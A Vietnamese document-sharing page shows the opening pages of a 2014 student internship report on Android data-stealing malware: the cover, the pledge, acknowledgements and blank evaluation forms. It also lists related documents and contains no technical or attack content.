 Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph... Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...
Phân tích công tác tuyển dụng nhân sự khối vận hành tại Công ty TNHH Minh Ph...
 
Báo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaBáo cáo cuối kỳ athena
Báo cáo cuối kỳ athena
 

Similar to Báo cáo thực tập

BÁO CÁO THỰC TẬP - TRẦN VĂN ANH
BÁO CÁO THỰC TẬP - TRẦN VĂN ANHBÁO CÁO THỰC TẬP - TRẦN VĂN ANH
BÁO CÁO THỰC TẬP - TRẦN VĂN ANHtranvananh2407
 
Bao cao thuc tap kiet - 104633
Bao cao thuc tap   kiet - 104633Bao cao thuc tap   kiet - 104633
Bao cao thuc tap kiet - 104633Lan Nguyễn
 
Báo cáo thực tập cuối kì
Báo cáo thực tập cuối kìBáo cáo thực tập cuối kì
Báo cáo thực tập cuối kìHai Te
 
Báo cáo thực tập cuoi ki joomla athena
Báo cáo thực tập cuoi ki joomla athenaBáo cáo thực tập cuoi ki joomla athena
Báo cáo thực tập cuoi ki joomla athenaTuan Huy
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập AthenaKhánh Trung Lý
 
Luan van le thi dieu hien
Luan van   le thi dieu hienLuan van   le thi dieu hien
Luan van le thi dieu hienvinhlmd
 
Báo cáo thực tập cuối kì
Báo cáo thực tập cuối kìBáo cáo thực tập cuối kì
Báo cáo thực tập cuối kìSteven Nguyễn
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kìDlinh Truong
 
Báo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTBáo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTVu Tran
 
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3https://www.facebook.com/garmentspace
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gkice_eyes
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gkice_eyes
 
Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua kyice_eyes
 
Bao cao thuc tap nhan thuc nguyen pham cong danh 104522-tc1011
Bao cao thuc tap nhan thuc   nguyen pham cong danh 104522-tc1011Bao cao thuc tap nhan thuc   nguyen pham cong danh 104522-tc1011
Bao cao thuc tap nhan thuc nguyen pham cong danh 104522-tc1011Lan Nguyễn
 
Bao cao thuc tap ngo thi hong nga 101062
Bao cao thuc tap   ngo thi hong nga 101062Bao cao thuc tap   ngo thi hong nga 101062
Bao cao thuc tap ngo thi hong nga 101062Lan Nguyễn
 
Bao cao thuc tap gk
Bao cao thuc tap gkBao cao thuc tap gk
Bao cao thuc tap gkice_eyes
 
Bia bao cao thuc tap cuoi ki
Bia bao cao thuc tap cuoi kiBia bao cao thuc tap cuoi ki
Bia bao cao thuc tap cuoi kiHình Vô
 
Báo cáo đề tài thực tập cuối kỳ
Báo cáo đề tài thực tập cuối kỳBáo cáo đề tài thực tập cuối kỳ
Báo cáo đề tài thực tập cuối kỳthanhthong1210
 

Similar to Báo cáo thực tập (20)

BÁO CÁO THỰC TẬP - TRẦN VĂN ANH
BÁO CÁO THỰC TẬP - TRẦN VĂN ANHBÁO CÁO THỰC TẬP - TRẦN VĂN ANH
BÁO CÁO THỰC TẬP - TRẦN VĂN ANH
 
Thực tập
Thực tậpThực tập
Thực tập
 
Bao cao thuc tap kiet - 104633
Bao cao thuc tap   kiet - 104633Bao cao thuc tap   kiet - 104633
Bao cao thuc tap kiet - 104633
 
Báo cáo thực tập cuối kì
Báo cáo thực tập cuối kìBáo cáo thực tập cuối kì
Báo cáo thực tập cuối kì
 
Báo cáo thực tập cuoi ki joomla athena
Báo cáo thực tập cuoi ki joomla athenaBáo cáo thực tập cuoi ki joomla athena
Báo cáo thực tập cuoi ki joomla athena
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập Athena
 
Luan van le thi dieu hien
Luan van   le thi dieu hienLuan van   le thi dieu hien
Luan van le thi dieu hien
 
Báo cáo thực tập cuối kì
Báo cáo thực tập cuối kìBáo cáo thực tập cuối kì
Báo cáo thực tập cuối kì
 
Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kì
 
Đề tài nâng cao năng lực cạnh tranh sản phẩm, HAY, 2018
Đề tài nâng cao năng lực cạnh tranh sản phẩm, HAY, 2018Đề tài nâng cao năng lực cạnh tranh sản phẩm, HAY, 2018
Đề tài nâng cao năng lực cạnh tranh sản phẩm, HAY, 2018
 
Báo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTBáo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTT
 
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3
Tổng hợp và nghiên cứu ứng dụng của vật liệu nano perovskite y0.8 sr0.2feo3
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gk
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gk
 
Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua ky
 
Bao cao thuc tap nhan thuc nguyen pham cong danh 104522-tc1011
Bao cao thuc tap nhan thuc   nguyen pham cong danh 104522-tc1011Bao cao thuc tap nhan thuc   nguyen pham cong danh 104522-tc1011
Bao cao thuc tap nhan thuc nguyen pham cong danh 104522-tc1011
 
Bao cao thuc tap ngo thi hong nga 101062
Bao cao thuc tap   ngo thi hong nga 101062Bao cao thuc tap   ngo thi hong nga 101062
Bao cao thuc tap ngo thi hong nga 101062
 
Bao cao thuc tap gk
Bao cao thuc tap gkBao cao thuc tap gk
Bao cao thuc tap gk
 
Bia bao cao thuc tap cuoi ki
Bia bao cao thuc tap cuoi kiBia bao cao thuc tap cuoi ki
Bia bao cao thuc tap cuoi ki
 
Báo cáo đề tài thực tập cuối kỳ
Báo cáo đề tài thực tập cuối kỳBáo cáo đề tài thực tập cuối kỳ
Báo cáo đề tài thực tập cuối kỳ
 

More from tuankiet123

Tạo bài viết trên joomla
Tạo bài viết trên joomlaTạo bài viết trên joomla
Tạo bài viết trên joomlatuankiet123
 
Báo cáo giữa kỳ
Báo cáo giữa kỳBáo cáo giữa kỳ
Báo cáo giữa kỳtuankiet123
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1tuankiet123
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1tuankiet123
 

More from tuankiet123 (9)

Tạo bài viết trên joomla
Tạo bài viết trên joomlaTạo bài viết trên joomla
Tạo bài viết trên joomla
 
Joomla
JoomlaJoomla
Joomla
 
Báo cáo giữa kỳ
Báo cáo giữa kỳBáo cáo giữa kỳ
Báo cáo giữa kỳ
 
Bai bao cao 4
Bai bao cao 4Bai bao cao 4
Bai bao cao 4
 
Bai bao cao 3
Bai bao cao 3Bai bao cao 3
Bai bao cao 3
 
Bai bao cao 2
Bai bao cao 2Bai bao cao 2
Bai bao cao 2
 
Bai bao cao 2
Bai bao cao 2Bai bao cao 2
Bai bao cao 2
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 

Recently uploaded

TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...Nguyen Thanh Tu Collection
 
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhvanhathvc
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Nguyen Thanh Tu Collection
 
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdf
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdfchuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdf
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdfVyTng986513
 
Campbell _2011_ - Sinh học - Tế bào - Ref.pdf
Campbell _2011_ - Sinh học - Tế bào - Ref.pdfCampbell _2011_ - Sinh học - Tế bào - Ref.pdf
Campbell _2011_ - Sinh học - Tế bào - Ref.pdfTrnHoa46
 
Đề cương môn giải phẫu......................
Đề cương môn giải phẫu......................Đề cương môn giải phẫu......................
Đề cương môn giải phẫu......................TrnHoa46
 
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...Nguyen Thanh Tu Collection
 
Các điều kiện bảo hiểm trong bảo hiểm hàng hoá
Các điều kiện bảo hiểm trong bảo hiểm hàng hoáCác điều kiện bảo hiểm trong bảo hiểm hàng hoá
Các điều kiện bảo hiểm trong bảo hiểm hàng hoámyvh40253
 
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfChuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfhoangtuansinh1
 
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...Nguyen Thanh Tu Collection
 
sách sinh học đại cương - Textbook.pdf
sách sinh học đại cương   -   Textbook.pdfsách sinh học đại cương   -   Textbook.pdf
sách sinh học đại cương - Textbook.pdfTrnHoa46
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh lí
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh líKiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh lí
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh líDr K-OGN
 
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...Nguyen Thanh Tu Collection
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Nguyen Thanh Tu Collection
 
powerpoint lịch sử đảng cộng sản việt nam.pptx
powerpoint lịch sử đảng cộng sản việt nam.pptxpowerpoint lịch sử đảng cộng sản việt nam.pptx
powerpoint lịch sử đảng cộng sản việt nam.pptxAnAn97022
 

Recently uploaded (20)

TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
 
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
 
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdf
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdfchuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdf
chuong-7-van-de-gia-dinh-trong-thoi-ky-qua-do-len-cnxh.pdf
 
Campbell _2011_ - Sinh học - Tế bào - Ref.pdf
Campbell _2011_ - Sinh học - Tế bào - Ref.pdfCampbell _2011_ - Sinh học - Tế bào - Ref.pdf
Campbell _2011_ - Sinh học - Tế bào - Ref.pdf
 
Đề cương môn giải phẫu......................
Đề cương môn giải phẫu......................Đề cương môn giải phẫu......................
Đề cương môn giải phẫu......................
 
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...
SÁNG KIẾN ÁP DỤNG CLT (COMMUNICATIVE LANGUAGE TEACHING) VÀO QUÁ TRÌNH DẠY - H...
 
Các điều kiện bảo hiểm trong bảo hiểm hàng hoá
Các điều kiện bảo hiểm trong bảo hiểm hàng hoáCác điều kiện bảo hiểm trong bảo hiểm hàng hoá
Các điều kiện bảo hiểm trong bảo hiểm hàng hoá
 
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfChuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
 
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 7 GLOBAL SUCCESS (2 CỘ...
 
sách sinh học đại cương - Textbook.pdf
sách sinh học đại cương   -   Textbook.pdfsách sinh học đại cương   -   Textbook.pdf
sách sinh học đại cương - Textbook.pdf
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
30 ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh lí
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh líKiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh lí
Kiểm tra chạy trạm lí thuyết giữa kì giải phẫu sinh lí
 
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
BỘ ĐỀ PHÁT TRIỂN THEO CẤU TRÚC ĐỀ MINH HỌA BGD NGÀY 22-3-2024 KỲ THI TỐT NGHI...
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
 
powerpoint lịch sử đảng cộng sản việt nam.pptx
powerpoint lịch sử đảng cộng sản việt nam.pptxpowerpoint lịch sử đảng cộng sản việt nam.pptx
powerpoint lịch sử đảng cộng sản việt nam.pptx
 
1 - MÃ LỖI SỬA CHỮA BOARD MẠCH BẾP TỪ.pdf
1 - MÃ LỖI SỬA CHỮA BOARD MẠCH BẾP TỪ.pdf1 - MÃ LỖI SỬA CHỮA BOARD MẠCH BẾP TỪ.pdf
1 - MÃ LỖI SỬA CHỮA BOARD MẠCH BẾP TỪ.pdf
 

Báo cáo thực tập

  • 1. Báo cáo thực tập GVHD: Võ Đỗ Thắng BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN KHOA ĐIỆN TỬ - VIỄN THÔNG BÁO CÁO ĐỀ TÀI THỰC TẬP ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH CONTACT, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI  Nơi thực tập : TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA  Thời gian : 7/7/2014 – 7/9/2014 GVHD : VÕ ĐỖ THẮNG SVTT : NGUYỄ N TUẤN KIỆT MSSV : 1120084 TP.HCM, THÁNG 8 NĂM 2014 SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 1
  • 2. Báo cáo thực tập GVHD: Võ Đỗ Thắng LỜI CAM ĐOAN Em xin cam đoan:  Những nội dung trong báo cáo này là do em thực hiện dưới sự hướng dẫn trực tiếp của thầy Võ Đỗ Thắng.  Mọi tham khảo dùng trong báo cáo này đều được trích dẫn rõ ràng tên tác giả, tên công trình, thời gian, địa điểm công bố.  Mọi sao chép không hợp lệ, vi phạm quy chế đào tạo, hay gian lận, em xin chịu hoàn toàn trách nhiệm. TPHCM, ngày 16 tháng 08 năm 2014 Sinh viên thực tập Nguyễn Tuấn Kiệt SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 2
  • 3. Báo cáo thực tập GVHD: Võ Đỗ Thắng LỜI CẢM ƠN KHOA ĐIỆN TỬ VIỄN THÔNG Em xin chân thành cảm ơn trường đại học Khoa học tự nhiên và khoa Điện tử viễn thông đã chỉ dạy những kiến thức nền quý báu, tạo điều kiện cho em hoàn thành tốt đợt thực tập này. Đợt thực tập này đã giúp cho em đúc kết được rất nhiều kinh nghiệm cho bản thân. Những kinh nghiệm này sẽ giúp em hoàn thiện hơn trong công việc và môi trường làm việc sau này. Trong đợt thực tập này, em đã nỗ lực hết mình để có thể đạt được kết quả tốt nhất. Nhưng, bên cạnh đó chắc chắn em không thể tránh khỏi những thiếu sót nhất định. Em rất mong nhận được sự đóng góp, chia sẻ để em có thể làm tốt hơn nữa trong tương lai. Một lần nữa em xin chân thành cảm ơn. TPHCM, ngày 16 tháng 08 năm 2014 Sinh viên thực tập Nguyễn Tuấn Kiệt SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 3
  • 4. Báo cáo thực tập GVHD: Võ Đỗ Thắng LỜI CẢM ƠN TRUNG TÂM ATHENA Em xin cảm ơn Trung tâm đào tạo Quản trị mạng và An ninh mạng quốc tế Athena, cùng các anh chị trong công ty. Đặc biệt, em xin chân thành cảm ơn thầy Võ Đỗ Thắng đã nhiệt tình giúp đỡ và hướng dẫn em trong suốt thời gian thực tập tại trung tâm. Thầy đã tạo mọi điều kiện thuận lợi, cung cấp những kiến thức cần thiết cũng như đóng góp những ý kiến quý báu để em hoàn thành tốt bài báo cáo này. Một lần nữa em xin chân thành cảm ơn. TPHCM, ngày 16 tháng 08 năm 2014 Sinh viên thực tập Nguyễn Tuấn Kiệt Thầy Võ Đỗ Thắng (bên trái) cùng SVTT Nguyễn Tuấn Kiệt (bên phải) SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 4
  • 5. Báo cáo thực tập GVHD: Võ Đỗ Thắng NHẬN XÉT CỦA KHOA .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... TPHCM, ngày ... tháng ... năm 2014 Chủ nhiệm khoa SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 5
  • 6. Báo cáo thực tập GVHD: Võ Đỗ Thắng NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... .......................................................................................................................................................... TPHCM, ngày ... tháng ... năm 2014 Giáo viên hướng dẫn SVTT: Nguyễn Tuấn Kiệt - 1120084 Trang 6
